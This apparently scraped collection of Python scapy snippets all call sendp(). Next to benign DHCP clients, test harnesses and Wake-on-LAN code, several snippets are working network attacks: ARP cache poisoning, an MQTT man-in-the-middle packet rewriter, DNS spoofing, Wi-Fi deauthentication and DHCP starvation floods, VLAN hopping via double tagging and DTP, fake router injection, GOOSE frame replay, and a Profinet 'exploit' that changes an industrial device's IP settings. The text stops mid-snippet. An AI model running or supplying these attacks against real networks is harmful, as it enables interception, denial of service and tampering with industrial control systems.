Example #1
0
	def get_rsn_information(self, essid):
		rsnInfo = None
		sendp(
			RadioTap()/
			Dot11(addr1=self.bssid, addr2=self.source_mac, addr3=self.bssid, SC=self.__fixSC__(), subtype=4)/
			Dot11ProbeReq()/
			Dot11Elt(ID=0, info=essid)/
			Dot11Elt(ID=1, info='\x82\x84\x0b\x16\x24\x30\x48\x6c')/
			Dot11Elt(ID=50, info='\x0c\x12\x18\x60'),
			iface=self.interface,
			verbose=False
		)
		self.sequence += 1
		sniff(iface=self.interface, store=0, timeout=self.timeout, stop_filter=self.__stopfilter__)
		if self.lastpacket is None or not self.lastpacket.haslayer(Dot11ProbeResp):
			return None
		probeResp = self.lastpacket.getlayer(Dot11ProbeResp)
		tmp = probeResp.getlayer(Dot11Elt)
		while tmp:
			if tmp.fields.get('ID') == 48:
				rsnInfo = tmp
				break
			else:
				tmp = tmp.payload
		if rsnInfo is None:
			rsnInfo = ''  # Did not find rsnInfo in probe response.
		else:
			rsnInfo = build_rsn_data(parse_rsn_data(rsnInfo.info))
			rsnInfo = '\x30' + chr(len(rsnInfo)) + rsnInfo
		return rsnInfo
Example #2
0
 def send_pkt(self, intf='', count=1):
     self.print_summary()
     if intf != '':
         # fix fortville can't receive packets with 00:00:00:00:00:00
         if self.pkt.getlayer(0).src == "00:00:00:00:00:00":
             self.pkt.getlayer(0).src = get_if_hwaddr(intf)
         sendp(self.pkt, iface=intf, count=count)
Example #3
0
	def getRSNInformation(self, essid):
		sendp(	RadioTap()/
				Dot11(addr1=self.bssid, addr2=self.source_mac, addr3=self.bssid, SC=self.__unfuckupSC__(), subtype=4)/
				Dot11ProbeReq()/
				Dot11Elt(ID=0, info=essid)/
				Dot11Elt(ID=1, info='\x82\x84\x0b\x16\x24\x30\x48\x6c')/
				Dot11Elt(ID=50, info='\x0c\x12\x18\x60'),
				iface=self.interface, verbose=False)
		self.sequence += 1
		sniff(iface=self.interface, store=0, timeout=self.timeout, stop_filter=self.__stopfilter__)
		if self.lastpacket == None or not self.lastpacket.haslayer('Dot11ProbeResp'):
			return None
		probeResp = self.lastpacket.getlayer(Dot11ProbeResp)
		tmp = probeResp.getlayer(Dot11Elt)
		while tmp:
			if tmp.fields.get('ID') == 48:
				rsnInfo = tmp
				break
			else:
				tmp = tmp.payload
		if rsnInfo == None:
			rsnInfo = ''	# we didn't find it in the probe response, so we'll return an empty string
		else:
			rsnInfo = parseRSNData(rsnInfo.info)
			rsnInfo = buildRSNData(rsnInfo)
			rsnInfo = '\x30' + chr(len(rsnInfo)) + rsnInfo
		return rsnInfo
Example #4
0
    def send_probe_req(self, bssid, essid):
        """Send a probe request to the specified AP"""
        src = RandMAC() if self.mac is None else self.mac
        self.logger.info('[!] Sending Broadcast Probe Request: SRC=[%s] -> BSSID: %s ESSID: %s' % (src, bssid, essid))
        param = Dot11ProbeReq()
        essid = Dot11Elt(ID='SSID', info=essid)
        rates = Dot11Elt(ID='Rates', info="\x03\x12\x96\x18\x24\x30\x48\x60")
        dsset = Dot11Elt(ID='DSset', info='\x01')
        pkt = RadioTap() / Dot11(type=0, subtype=4, addr1='ff:ff:ff:ff:ff:ff', addr2=src,
                      addr3='ff:ff:ff:ff:ff:ff') / param / essid / rates / dsset

        try:
            sendp(pkt, verbose=0)
        except:
            return

        print ("Probing network '%s (%s)'\n" % (bssid, essid))
        try:
            # Build a probe request packet with a SSID and a WPS information element
            dst = mac2str(bssid)
            src = mac2str("ff:ff:ff:ff:ff:ff")
            packet = Dot11(addr1=dst, addr2=src, addr3=dst) / Dot11ProbeReq()
            packet = packet / Dot11Elt(ID=0, len=len(essid), info=essid) / Dot11Elt(ID=221, len=9,
                                                                                    info="%s\x10\x4a\x00\x01\x10" % self.wps_parser.WPS_ID)

            # Send it!
            send(packet, verbose=0)
            # self.probedNets[bssid] = None
        except Exception, e:
            print 'Failure sending probe request to', essid, ':', e
Example #5
0
    def send_frame(self, frame_body):
        PACKET = Ether()
        PACKET.length = 64
        PACKET.dst = self.dst
        PACKET.src = self.getHwAddr(self.interface)
        if self.stag:
            # WARNING: September/2016: This should be 0x88a8, but the Intel 10G
            # hardware I am currently using does not support receiving a TPID of
            # 0x88a8. So, I send double CTAGs, and I usually set this to 0x8100.
            # (NOTE: The Intel hardware can send a TPID of 0x88a8)
            PACKET.type = 0x8100
            if self.ctag:
                PACKET/=Dot1Q(type=0x8100,vlan=int(self.stag))
                PACKET/=Dot1Q(type=self.etype,vlan=int(self.ctag))
            else:
                PACKET/=Dot1Q(type=self.etype,vlan=int(self.stag))
        else:
            if self.ctag:
                PACKET.type = 0x8100
                PACKET/=Dot1Q(type=self.etype,vlan=int(self.ctag))
            else:
                PACKET.type = self.etype
#            PACKET/=Dot1Q(type=self.etype, vlan=int(self.ctag))
        PACKET/=SlowProtocolsSubtype()/FlagsBytes()/OAMPDU()
        PACKET/=frame_body
        PACKET/=EndOfPDU()
        if (self.verbose == True):
            PACKET.show()
            print '###[ Frame Length %d (before padding) ]###' % len(PACKET)
        if (self.hexdump == True):
            print hexdump(PACKET)
        if (self.dryrun != True):
            sendp(PACKET, iface=self.interface, verbose=self.verbose)
            time.sleep(self.sleep)
        return PACKET
Example #6
0
    def send_packet_to_sw(self, ryu_packet):
        self.logger.debug("")
        sendpkt = scapy_packet.Packet(ryu_packet.data)

        # send of scapy
        sendrecv.sendp(sendpkt)
        self.logger.info("sent 1 packet to switch.")
Example #7
0
	def run(self):
		"""
		This is the thread routine that handles probe requests and sends
		probe responses when appropriate.
		"""
		while not self.__shutdown__:
			sniff(iface=self.interface, store=0, timeout=RESPONSE_TIMEOUT, stop_filter=self.__stopfilter__)
			if self.lastpacket:
				if self.lastpacket.haslayer(Dot11ProbeReq):
					ssid = None
					tmp = self.lastpacket.getlayer(Dot11ProbeReq)
					while tmp:
						tmp = tmp.payload
						if tmp.fields['ID'] == 0:
							ssid = tmp.info
							break
					if ssid is None:
						continue
					elif ssid == '' and self.essid:
						ssid = self.essid
					if self.essid is None or self.essid == ssid:
						self.probe_response_template.getlayer(Dot11).addr1 = get_source(self.lastpacket)
						self.probe_response_template.getlayer(Dot11Elt).info = ssid
						sendp(self.probe_response_template, iface=self.interface, verbose=False)
					self.lastpacket = None
					continue
				clientMAC = get_source(self.lastpacket)
				if not self.client_queue.full():
					self.client_queue.put(clientMAC, False)
				self.lastpacket = None
				continue
Example #8
0
	def close(self):
		"""
		Disassociate from the access point,  This does not veify that
		the AP received the message and should be considred a
		best-effort attempt.
		errDict = {
			-1:"Not Connected",
			0:"No Error"
		}
		"""
		if not self.connected:
			return -1
		sendp(
			RadioTap()/
			Dot11(addr1=self.dest_mac, addr2=self.source_mac, addr3=self.bssid, SC=self.__fixSC__(), type=0, subtype=12)/
			Dot11Disas(reason=3),
			iface=self.interface,
			verbose=False
		)
		sendp(
			RadioTap()/
			Dot11(addr1=self.dest_mac, addr2=self.source_mac, addr3=self.bssid, SC=self.__fixSC__(), type=0, subtype=12)/
			Dot11Disas(reason=3),
			iface=self.interface,
			verbose=False
		)
		self.connected = False
		return 0
Example #9
0
	def run(self):
		"""
		This is the thread routine that broadcasts the SSID.
		"""
		while not self.__shutdown__:
			self.beacon.getlayer(Dot11).SC = self.__fixSC__()
			sendp(self.beacon, iface=self.interface, verbose=False)
			time.sleep(self.broadcast_interval)
Example #10
0
	def __thread_sendp__(self, payload):
		"""
		Sendp function used for opening thread, sending packets, and closing thread
		"""
		quick_sniff = threading.Thread(target=self.__thread_sniff__)
		quick_sniff.start()
		time.sleep(0.1)
		sendp(payload, iface=self.interface, verbose=False)
		quick_sniff.join()
Example #11
0
 def start(self, count=[0, 100]):
     for i in range(count[0], count[1]):
         sendp(self.pyload(),
               verbose=0,
               return_packets=False,
               inter=0,
               loop=0)
         print(
             f"\033[41m PACKET \033[0m Injection fake routers {self.IProuter} {self.InjectFackeRouter} \033[31m{i}\033[0m"
         )
Example #12
0
def VlanNumer(dstMac, startVlanID, endVlanID):
    while 1 < endVlanID:
        sendp(
            Ether(dst=dstMac) / Dot1Q(vlan=1) / Dot1Q(vlan=startVlanID) /
            ARP(op='who-has', psrc=psrc, pdst=pdst))
        startVlanID = startVlanID + 1
        if startVlanID == endVlanID:
            break
        else:
            continue
Example #13
0
 def discover_local_device(self):
     self.sniff_mac_address = get_if_hwaddr(self.nic)
     p = threading.Thread(target=self.sniff_answer)
     p.setDaemon(True)
     p.start()
     # wait sniff start
     time.sleep(0.2)
     packet = Ether(src=self.sniff_mac_address, dst="ff:ff:ff:ff:ff:ff")/IP(src=get_if_addr(self.nic), dst="255.255.255.255")/UDP(sport=44818, dport=44818)/ENIPHeader(Command=0x0063)
     sendp(packet, iface=self.nic)
     self.sniff_finished.wait(self.timeout + 1)
Example #14
0
    def send_packet_to_sw(self, ryu_packet, mc_addr, vid):
        self.logger.debug("")
        sendpkt = scapy_packet.Packet(ryu_packet.data)

        # send of scapy
        sendrecv.sendp(
            sendpkt, iface=self.config[const.MLD_ESW_IFNAME], verbose=0)
        self.logger.info(
            "send to switch. [multicast_address]:'%s' [c_tag_id]:%s ",
            mc_addr, vid)
Example #15
0
 def send_request(self, server_mac=BROADCAST_MAC, server_ip=BROADCAST_ADDR,
                  client_ip=META_ADDR):
     pkt = self.gen_request(server_mac=server_mac, server_ip=server_ip,
                            client_ip=client_ip)
     sendp(pkt)
     self.time_sent_request = now()
     logger.info('DHCPREQUEST of %s on %s to %s port %s' %
                 (self.iface, self.client_ip_offered,
                  server_ip, self.server_port))
     logger.debug("Sent request.")
Example #16
0
def negotiate_trunk(iface=conf.iface, mymac=str(RandMAC())):
    print "Trying to negotiate a trunk on interface %s" % iface
    p = Dot3(src=mymac,
             dst="01:00:0c:cc:cc:cc") / LLC() / SNAP() / DTP(tlvlist=[
                 DTPDomain(),
                 DTPStatus(),
                 DTPType(),
                 DTPNeighbor(neighbor=mymac)
             ])
    sendp(p)
Example #17
0
 def exploit(self, target_mac):
     packet = Ether(src=self.sniff_mac_address, dst=target_mac, type=0x8892) / \
              ProfinetIO(frameID=0xFEFD) / PNDCPHeader(ServiceID=4, ServiceType=0,
                                                       DCPBlocks=[PNDCPSetRequest(Option=0x01, SubOption=0x02)])
     packet[PNDCPHeader].DCPBlocks[
         0].DCPBlock = PNDCPSetIPParameterRequestBlock(
             IPaddress=self.target_ip,
             Subnetmask=self.target_netmask,
             StandardGateway=self.target_gateway)
     sendp(packet, iface=self.nic)
Example #18
0
    def process_packet(self, packet):

        # Setting attacker's ARP cache is usually not required
        # conf.netcache.arp_cache[self.victims[0][0]] = self.victims[0][1]
        # conf.netcache.arp_cache[self.victims[1][0]] = self.victims[1][1]

        if Ether in packet:
            if packet[Ether].src == ATTACKER_MAC:
                return

        def alter_packet(pkt):
            if Ether in pkt and IP in pkt:

                l2 = pkt[Ether]
                # Check if RFID reader sent request
                if l2.src == self.victims[0][1] and l2.dst == ATTACKER_MAC:
                    pkt[Ether].src = ATTACKER_MAC
                    pkt[Ether].dst = self.victims[1][1]

                    # Check if MQTT Publish layer in packet
                    if MQTTPublish in pkt:
                        mqtt_pub = pkt[MQTTPublish]
                        topic = mqtt_pub.topic
                        value = mqtt_pub.value
                        length = mqtt_pub.underlayer.len
                        candies = ["Mint", "Cherry"]
                        if topic == "candy":
                            if value in candies:
                                idx = candies.index(value)
                                # Inverse candy selection
                                new_value = candies[(idx + 1) % 2]
                                pkt[MQTTPublish].value = new_value
                                print pkt[MQTTPublish].value
                                pkt[MQTTPublish].underlayer.len = length - len(
                                    value) + len(new_value)
                                print pkt[MQTTPublish].underlayer.len

                                # Remove checksum and length of packet
                                if IP in pkt:
                                    del packet[IP].chksum
                                    del packet[IP].len
                                    pkt.show2()

                                # Delete checksum, otherwise server/client impl. may reject packet
                                if TCP in pkt:
                                    del packet[TCP].chksum

                elif l2.src == self.victims[1][1] and l2.dst == ATTACKER_MAC:
                    pkt[Ether].src = ATTACKER_MAC
                    pkt[Ether].dst = self.victims[0][1]
            return pkt

        pk = alter_packet(packet)
        if pk is not None:
            sendp(pk, iface=IFACE, verbose=0)
Example #19
0
    def send_dhcp_packet(self,
                         mac: MacAddress,
                         state: DHCPState,
                         dhcp_desc: DHCPDescriptor = None):
        """
        Send DHCP packet and record state in dhcp_client_state.

        Args:
            mac: MAC address of interface
            state: state of DHCP packet
            dhcp_desc: DHCP protocol state.
        Returns:
        """
        ciaddr = None

        # generate DHCP request packet
        if state == DHCPState.DISCOVER:
            dhcp_opts = [("message-type", "discover")]
            dhcp_desc = DHCPDescriptor(mac=mac,
                                       ip="",
                                       state_requested=DHCPState.DISCOVER)
            self._msg_xid = self._msg_xid + 1
            pkt_xid = self._msg_xid
        elif state == DHCPState.REQUEST:
            dhcp_opts = [("message-type", "request"),
                         ("requested_addr", dhcp_desc.ip),
                         ("server_id", dhcp_desc.server_ip)]
            dhcp_desc.state_requested = DHCPState.REQUEST
            pkt_xid = dhcp_desc.xid
            ciaddr = dhcp_desc.ip
        elif state == DHCPState.RELEASE:
            dhcp_opts = [("message-type", "release"),
                         ("server_id", dhcp_desc.server_ip)]
            dhcp_desc.state_requested = DHCPState.RELEASE
            self._msg_xid = self._msg_xid + 1
            pkt_xid = self._msg_xid
            ciaddr = dhcp_desc.ip
        else:
            LOG.warning("Unknown egress request mac %s state %s", str(mac),
                        state)
            return

        dhcp_opts.append("end")

        with self._dhcp_notify:
            self.dhcp_client_state[mac.as_redis_key()] = dhcp_desc

        pkt = Ether(src=str(mac), dst="ff:ff:ff:ff:ff:ff")
        pkt /= IP(src="0.0.0.0", dst="255.255.255.255")
        pkt /= UDP(sport=68, dport=67)
        pkt /= BOOTP(op=1, chaddr=mac.as_hex(), xid=pkt_xid, ciaddr=ciaddr)
        pkt /= DHCP(options=dhcp_opts)
        LOG.debug("DHCP pkt %s", pkt.show(dump=True))

        sendp(pkt, iface=self._dhcp_interface, verbose=0)
Example #20
0
	def send(self, data, dot11_type=2, dot11_subtype=8, FCfield=0x02, raw=True):
		"""
		Send a frame, if raw, insert the data above the Dot11QoS layer.
		"""
		frame = RadioTap()/Dot11(FCfield=FCfield, addr1=self.dest_mac, addr2=self.source_mac, addr3=self.bssid, SC=self.__fixSC__(), type=dot11_type, subtype=dot11_subtype)
		if raw:
			frame = frame/data
		else:
			frame = frame/Dot11QoS()/data
		sendp(frame, iface=self.interface, verbose=False)
		self.sequence += 1
Example #21
0
 def scan_target_ip(self, target_mac):
     p = threading.Thread(target=self.sniff_answer)
     p.setDaemon(True)
     p.start()
     packet = Ether(src=self.sniff_mac_address, dst=target_mac, type=0x8892) / ProfinetIO(frameID=0xFEFE) / \
              PNDCPHeader(ServiceID=5, ServiceType=0, DCPBlocks=[PNDCPIdentRequest()])
     sendp(packet, iface=self.nic)
     self.sniff_finished.wait(self.timeout + 1)
     unique_device = [list(x) for x in set(tuple(x) for x in self.result)]
     print(tabulate.tabulate(unique_device, headers=TABLE_HEADER))
     print('\n')
Example #22
0
	def send(self, data, dot11_type=2, dot11_subtype=8, FCfield=0x02, raw=True):
		"""
		Send a frame, if raw, insert the data above the Dot11QoS layer.
		"""
		frame = RadioTap()/Dot11(FCfield=FCfield, addr1=self.dest_mac, addr2=self.source_mac, addr3=self.bssid, SC=self.__fixSC__(), type=dot11_type, subtype=dot11_subtype)
		if raw:
			frame = frame/data
		else:
			frame = frame/Dot11QoS()/data
		sendp(frame, iface=self.interface, verbose=False)
		self.sequence += 1
Example #23
0
 def send_discover(self):
     pkt = self.gen_discover()
     # Only when sending discover from RENEWING
     # The client records the local time at which the DHCPREQUEST
     # message is sent for computation of the lease expiration time
     # self.time_request = now()
     sendp(pkt)
     self.cur_discover_retry += 1
     logger.info('DHCPDISCOVER on %s to %s port %s' %
                 (self.iface, BROADCAST_ADDR, SERVER_PORT))
     logger.debug("Sent discover.")
    def scapy_arp(self, ip: str) -> None:
        """
        This function send an ARP request with Scapy.
        """

        debug(f"Send ARP packet for {ip!r}")
        sendp(
            Ether(dst="ff:ff:ff:ff:ff:ff", src=self.mac) /
            ARP(op=1, psrc=self.ip, pdst=ip),
            iface=self.iface,
            verbose=False,
        )
Example #25
0
def dhcp_flood(**kwargs):
    iface = kwargs["interface"]
    count = kwargs["count"]

    unique_hexdigits = str.encode("".join(set(string.hexdigits.lower())))
    packet = (l2.Ether(dst="ff:ff:ff:ff:ff:ff") /
              inet.IP(src="0.0.0.0", dst="255.255.255.255") /
              inet.UDP(sport=68, dport=67) /
              dhcp.BOOTP(chaddr=volatile.RandString(12, unique_hexdigits)) /
              dhcp.DHCP(options=[("message-type", "discover"), "end"]))

    sendrecv.sendp(packet, iface=iface, count=count)
Example #26
0
 def send_discover(self):
     """Send discover."""
     assert self.client
     assert self.current_state == STATE_INIT or \
         self.current_state == STATE_SELECTING
     pkt = self.client.gen_discover()
     sendp(pkt)
     # FIXME:20 check that this is correct,: all or only discover?
     if self.discover_attempts < MAX_ATTEMPTS_DISCOVER:
         self.discover_attempts += 1
     timeout = gen_timeout_resend(self.discover_attempts)
     self.set_timeout(self.current_state, self.timeout_selecting, timeout)
Example #27
0
def send_dns_reply(p):
    if IPv6 in p:
        ip = p[IPv6]
        resp = Ether(dst=p.src, src=p.dst) / IPv6(
            dst=ip.src, src=ip.dst) / UDP(dport=ip.sport, sport=ip.dport)
    else:
        ip = p[IP]
        resp = Ether(dst=p.src, src=p.dst) / IP(dst=ip.src, src=ip.dst) / UDP(
            dport=ip.sport, sport=ip.dport)
    dns = p[DNS]
    #only reply to IN, and to messages that dont contain answers
    if dns.qd.qclass != 1 or dns.qr != 0:
        return
    #Make sure the requested name is in unicode here
    reqname = dns.qd.qname.decode()
    #A request
    if dns.qd.qtype == 1:
        rdata = config.selfipv4
    #AAAA request
    elif dns.qd.qtype == 28:
        rdata = config.selfaddr
    #PTR request
    elif dns.qd.qtype == 12:
        # To reply for PTR requests for our own hostname
        # comment the return statement
        return
        if reqname == config.selfptr:
            #We reply with attacker.domain
            rdata = 'attacker.%s' % config.localdomain
        else:
            return
    #Not handled
    else:
        return
    if should_spoof_dns(reqname):
        resp /= DNS(id=dns.id,
                    qr=1,
                    qd=dns.qd,
                    an=DNSRR(rrname=dns.qd.qname,
                             ttl=100,
                             rdata=rdata,
                             type=dns.qd.qtype))
        try:
            sendp(resp, iface=config.default_if, verbose=False)
        except socket.error as e:
            print('Error sending spoofed DNS')
            print(e)
            if config.debug:
                ls(resp)
        print('Sent spoofed reply for %s to %s' % (reqname, ip.src))
    else:
        if config.verbose or config.debug:
            print('Ignored query for %s from %s' % (reqname, ip.src))
Example #28
0
def sigint_handler(signum, frame):  # 定义处理方法
    global psrc, hwsrc, mac_src, hwdst, src1, dst1  # 引入全局变量
    print("\n执行恢复操作!!!")
    # 发送ARP数据包,恢复被毒化设备的ARP缓存
    sendp(Ether(src=hwsrc, dst=mac_src) /
          ARP(op=2, hwsrc=hwdst, hwdst=mac_src, psrc=src1, pdst=dst1),
          iface=scapy_iface(ifname1),
          verbose=False)
    time.sleep(1)
    print("已经恢复 " + src1 + " ARP缓存")
    # 退出程序,跳出while True
    sys.exit()
Example #29
0
 def send_packets_by_scapy(self, **kwargs):
     tx_iface = kwargs.get('port topo')[0]
     # set interface ready to send packet
     cmd = "ifconfig {0} up".format(tx_iface)
     self.parent.tester.send_expect(cmd, '# ', 30)
     send_pkts = kwargs.get('stream')
     # stream config
     stream_configs = kwargs.get('traffic configs')
     count = stream_configs.get('count')
     interval = stream_configs.get('interval', 0.01)
     # run traffic
     sendp(send_pkts, iface=tx_iface, inter=interval, verbose=False,
           count=count)
Example #30
0
def replay_goose(interface):
    pcap_name = input(
        "\n[*] Enter the name of the PCAP file to be used (without extension): "
    )

    packets = rdpcap(pcap_name + '.pcap')
    for packet in packets:
        if packet.haslayer(
                Ether
        ) == 1:  # and packet.haslayer(Dot1Q) == 1 and packet.haslayer(Raw) == 1
            print(packet)
            sendp(packet, iface=interface)
            time.sleep(0.01)
Example #31
0
 def flood_ap(self, _pkt, _br):
     if self.verbose:
         self.pull.up("%d %s (%s) %s<>%s %s (%s) %s[DEAUTHENTICATION]%s" % (self.deauth, self.ap.replace(':', '').upper(),\
                        self.pull.DARKCYAN+org(self.ap).org+self.pull.END, \
                         self.pull.RED, self.pull.END, _br.replace(':', '').upper(), \
                         self.pull.DARKCYAN+org(self.cl).org+self.pull.END, \
                         self.pull.BLUE, self.pull.END ))
     else:
         self.pull.up("%d %s %s<>%s %s %s[DEAUTHENTICATION]%s" % (self.deauth, self.ap.replace(':', '').upper(),\
                         self.pull.RED, self.pull.END, _br.replace(':', '').upper(), \
                         self.pull.BLUE, self.pull.END ))
     sendp(_pkt, iface=self.iface, count=self.deauth, verbose=False)
     time.sleep(1)
Example #32
0
def arp_response(src: str,
                 src_mac: str,
                 dst: str,
                 dst_mac: str,
                 count=3,
                 interval=0.1) -> None:
    """ Sends an ARP response """
    for i in range(count):
        sendp(l2.Ether(dst=dst_mac, src=src_mac) / l2.ARP(
            op="is-at", hwsrc=src_mac, psrc=src, hwdst=dst_mac, pdst=dst),
              verbose=False)
        if interval > 0:
            sleep(interval)
Example #33
0
	def connect(self, essid, rsnInfo = ''):
		"""
		Connect/Associate with an access point.
		errDict = {
			-1:"Already Connected",
			0:"No Error",
			1:"Failed To Get Probe Response",
			2:"Failed To Get Authentication Response",
			3:"Failed To Get Association Response",
			4:"Authentication Request Received Fail Response",
			5:"Association Request Received Fail Response"
		}
		"""
		# Dot11 Probe Request (to get authentication information if applicable)
		if rsnInfo == None:	# None explicitly means go get it, leave it '' to proceed with out it
			rsnInfo = self.getRSNInformation(essid)
		
		# Dot11 Authentication Request
		sendp(	RadioTap()/
				Dot11(addr1=self.dest_mac, addr2=self.source_mac, addr3=self.bssid, SC=self.__unfuckupSC__())/
				Dot11Auth(seqnum=1),
				iface=self.interface, verbose=False)
		self.sequence += 1
		sniff(iface=self.interface, store=0, timeout=self.timeout, stop_filter=self.__stopfilter__)
		if self.lastpacket == None or not self.lastpacket.haslayer('Dot11Auth'):
			return 2
		if self.lastpacket.getlayer('Dot11Auth').status != 0:
			return 4
		
		# Dot11 Association Request
		sendp(	RadioTap()/
				Dot11(addr1=self.bssid, addr2=self.source_mac, addr3=self.bssid, SC=self.__unfuckupSC__(), subtype=0)/
				Dot11AssoReq(cap='ESS+short-preamble+short-slot', listen_interval=10)/
				Dot11Elt(ID=0, info=essid)/
				Dot11Elt(ID=1, info='\x82\x84\x0b\x16\x24\x30\x48\x6c')/
				Dot11Elt(ID=50, info='\x0c\x12\x18\x60')/
				rsnInfo,
				iface=self.interface, verbose=False)

		self.sequence += 1
		sniff(iface=self.interface, store=0, timeout=self.timeout, stop_filter=self.__stopfilter__)
		if self.lastpacket == None or not self.lastpacket.haslayer(Dot11AssoResp):
			return 3
		
		if self.lastpacket.getlayer(Dot11AssoResp).status != 0:
			return 5
		
		self.connected = True
		self.sequence = 0	# reset it
		return 0
Example #34
0
    def send_request(self):
        """Send request.

        [:rfc:`2131#section-3.1`]::

        a client retransmitting as described in section 4.1 might retransmit
        the DHCPREQUEST message four times, for a total delay of 60 seconds

        .. todo::

           - The maximum number of retransmitted REQUESTs is per state or in
             total?
           - Are the retransmitted REQUESTs independent to the retransmitted
             DISCOVERs?

        """
        assert self.client
        if self.current_state == STATE_BOUND:
            pkt = self.client.gen_request_unicast()
        else:
            pkt = self.client.gen_request()
        sendp(pkt)
        logger.debug('Modifying FSM obj, setting time_sent_request.')
        self.time_sent_request = nowutc()
        logger.info('DHCPREQUEST of %s on %s to %s port %s',
                    self.client.iface, self.client.client_ip,
                    self.client.server_ip, self.client.server_port)

        # NOTE: see previous TODO, maybe the MAX_ATTEMPTS_REQUEST needs to be
        # calculated per state.
        if self.request_attempts < MAX_ATTEMPTS_REQUEST:
            self.request_attempts *= 2
            logger.debug('Increased request attempts to %s',
                         self.request_attempts)
        if self.current_state == STATE_RENEWING:
            timeout_renewing = gen_timeout_request_renew(self.client.lease)
            self.set_timeout(self.current_state,
                             self.timeout_request_renewing,
                             timeout_renewing)
        elif self.current_state == STATE_REBINDING:
            timeout_rebinding = gen_timeout_request_rebind(self.client.lease)
            self.set_timeout(self.current_state,
                             self.timeout_request_rebinding,
                             timeout_rebinding)
        else:
            timeout_requesting = \
                gen_timeout_resend(self.request_attempts)
            self.set_timeout(self.current_state,
                             self.timeout_requesting,
                             timeout_requesting)
def send_magic_packet():
    # マジックパケットの仕様に従い、文字列でペイロードを準備
    # https://ja.wikipedia.org/wiki/Wake-on-LAN
    str_payload = PREFIX_PAYLOAD + (TARGET_MAC_ADDRESS.replace(':', '') * 16)
    # Python2でしか動作させないので、decode('hex')を使う
    # https://stackoverflow.com/questions/443967/how-to-create-python-bytes-object-from-long-hex-string
    hex_payload = str_payload.decode('hex')

    ether_layer = Ether(dst=BROADCAST_MAC_ADDRESS)
    ip_layer = IP(dst=LIMITED_BROADCAST_IP_ADDRESS)
    udp_layer = UDP()
    raw_layer = Raw(load=hex_payload)
    magic_packet = ether_layer / ip_layer / udp_layer / raw_layer
    sendp(magic_packet)
Example #36
0
def spoof(native_mac, target_mac, gateway_mac):
    # Specify the ARP source MAC address to prevent using the wrong interface MAC address
    sendp(Ether(src=native_mac, dst=target_mac) / ARP(op=2,
                                                      psrc=gateway_ip,
                                                      hwsrc=native_mac,
                                                      pdst=target_ip,
                                                      hwdst=target_mac),
          iface=interface)
    sendp(Ether(src=native_mac, dst=gateway_mac) / ARP(op=2,
                                                       psrc=target_ip,
                                                       hwsrc=native_mac,
                                                       pdst=gateway_ip,
                                                       hwdst=gateway_mac),
          iface=interface)
Example #37
0
def dhcpRequest(dhcp_offer, src_mac_random, interface):
    transaction_id = dhcp_offer[0][BOOTP].xid
    server_id = dhcp_offer[0][DHCP].options[1][1]
    requested_addr = dhcp_offer[0][BOOTP].yiaddr
    print(requested_addr)
    options = [("message-type", "request"), ("server_id", server_id),
               ("requested_addr", requested_addr), ("end", "0")]
    dhcp_request = Ether(dst='ff:ff:ff:ff:ff:ff', src=src_mac_random) \
                   / IP(src='0.0.0.0', dst='255.255.255.255') \
                   / UDP(sport=68, dport=67) \
                   / BOOTP(chaddr=[mac2str(src_mac_random)], xid=transaction_id) \
                   / DHCP(options=options)
    sendp(dhcp_request, iface=interface)
    return requested_addr
def arpcachepoison(target, victim, interval=60):
    """Poison target's cache with (your MAC,victim's IP) couple
arpcachepoison(target, victim, [interval=60]) -> None
"""
    tmac = getmacbyip(target)
    p = Ether(dst=tmac) / ARP(op="who-has", psrc=victim, pdst=target)
    try:
        while True:
            sendp(p, iface_hint=target)
            if conf.verb > 1:
                os.write(1, b".")
            time.sleep(interval)
    except KeyboardInterrupt:
        pass
Example #39
0
	def dev_conn(self):
		auth_catcher = threading.Thread(target=self.auth_sniffer, args=(self.iface,), name="Authentication Catcher")
		auth_catcher.daemon = True
		auth_catcher.start()
		
		while not self.__AUTH_STEP:
			self._randn_(3)
			self.pull.up("%i Frames %s > %s %s[Open Authentication]%s" % (self._randn, self.cl.replace(':', '').upper(), self.ap.replace(':', '').upper(), self.pull.BLUE, self.pull.END))
			sendp(self.auth, iface=self.iface, count=2, verbose=False)
			if not self.__AUTH_STATUS:
				break
			time.sleep(1)

		return self.__AUTH_STEP
Example #40
0
def arpcachepoison(target, victim, interval=60):
    """Poison target's cache with (your MAC,victim's IP) couple
arpcachepoison(target, victim, [interval=60]) -> None
"""
    tmac = getmacbyip(target)
    p = Ether(dst=tmac) / ARP(op="who-has", psrc=victim, pdst=target)
    try:
        while True:
            sendp(p, iface_hint=target)
            if conf.verb > 1:
                os.write(1, b".")
            time.sleep(interval)
    except KeyboardInterrupt:
        pass
Example #41
0
	def send_beacon_ex(essid, interface, privacy=PRIVACY_NONE, bssid=None, channel=6):
		"""
		Convenience function for sending beacons without a thread or creating an instance
		"""
		if not bssid:
			bssid = getHwAddr(interface)
		channel = chr(channel)
		sequence = randint(1200, 2000)

		if privacy in [PRIVACY_NONE, 'none', 'NONE']:
			beacon = (
				RadioTap()/
				Dot11(addr1="ff:ff:ff:ff:ff:ff", addr2=bssid, addr3=bssid, SC=sequence)/
				Dot11Beacon(cap='ESS+short-preamble+short-slot')/
				Dot11Elt(ID="SSID", info=essid)/
				Dot11Elt(ID="Rates", info='\x82\x84\x8b\x96\x0c\x12\x18\x24')/
				Dot11Elt(ID="DSset", info=channel)/
				Dot11Elt(ID=42, info="\x04")/
				Dot11Elt(ID=47, info="\x04")/
				Dot11Elt(ID=50, info="\x0c\x12\x18\x60")
			)
		elif privacy in [PRIVACY_WEP, 'wep', 'WEP']:
			beacon = (
				RadioTap()/
				Dot11(addr1="ff:ff:ff:ff:ff:ff", addr2=bssid, addr3=bssid, SC=sequence)/
				Dot11Beacon(cap='ESS+privacy+short-preamble+short-slot')/
				Dot11Elt(ID="SSID", info=essid)/
				Dot11Elt(ID="Rates", info='\x82\x84\x8b\x96\x0c\x12\x18\x24')/
				Dot11Elt(ID="DSset", info=channel)/
				Dot11Elt(ID=42, info="\x04")/
				Dot11Elt(ID=47, info="\x04")/
				Dot11Elt(ID=50, info="\x0c\x12\x18\x60")
			)
		elif privacy in [PRIVACY_WPA, 'wpa', 'WPA']:
			beacon = (
				RadioTap()/
				Dot11(addr1="ff:ff:ff:ff:ff:ff", addr2=bssid, addr3=bssid, SC=sequence)/
				Dot11Beacon(cap='ESS+privacy+short-preamble+short-slot')/
				Dot11Elt(ID="SSID", info=essid)/
				Dot11Elt(ID="Rates", info='\x82\x84\x8b\x96\x0c\x12\x18\x24')/
				Dot11Elt(ID="DSset", info=channel)/
